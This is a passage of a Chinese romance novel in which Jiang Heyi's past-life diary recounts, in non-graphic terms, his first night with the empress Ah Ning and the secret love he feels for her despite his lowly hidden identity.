他已分不清现实与虚幻,分不清天地为何物。 如庄周梦蝶,清醒与沉沦间,他已不是自己。 耳边温柔的低语,令他仿佛置身另一个世界,变成了另一个人。 一个,不是将今夜视为羞辱与耻辱之人。 “听话……唤我,阿宁……” * 江鹤一的前世日志·七 与她的第二年……与她的第一次…… 往日通常会在最后一步前停下,她会装作受迷药影响昏睡过去,但如今我们之间,除了我的真实身份,已然挑明了一切。今夜,她没有停下,我也……没有停下…… 我很怕弄疼她,她也有些紧张,但过去一年多共处的夜晚,我们对彼此的熟悉,皆化作了那一刻的勇气。 那种感觉,甚是复杂,但我知晓,自己是欢喜的…… 她如同抚摸当初那只小猫那般,一遍遍轻抚我的后背,我那些狰狞的伤疤,很舒服,一点都不会痒……她问及我的姓名,我只能将那无人知晓的字告诉她,她说“云止”二字甚是好听,还让我莫再唤她陛下,而是唤她的名字,唤她阿宁…… 她的身边从无人如此唤她,我心中欢喜更甚,以至于清楚地意识到一事——我心悦她,仰慕她,我想一直与她在一起…… 我从未想过,我竟会心悦一个昭国人,且她对我而言,还是这般高不可攀。我这等卑贱的身份早已注定,这份心意必将永远埋藏…… 她应是太累了,我离开之时,她仍在熟睡。回到住处后,我换下衣裳,发现身上似乎染了她的淡香。这股香气,总让我觉得舒服与放松,我在桌前坐了许久,一遍遍闻着衣裳上的淡香,试图制出相似气味的香料,可直至天明,我都没有成功。也许世间万物,这种香气唯她独有吧…… 不知待她醒来,她的被褥中,是否还会留有我的气味?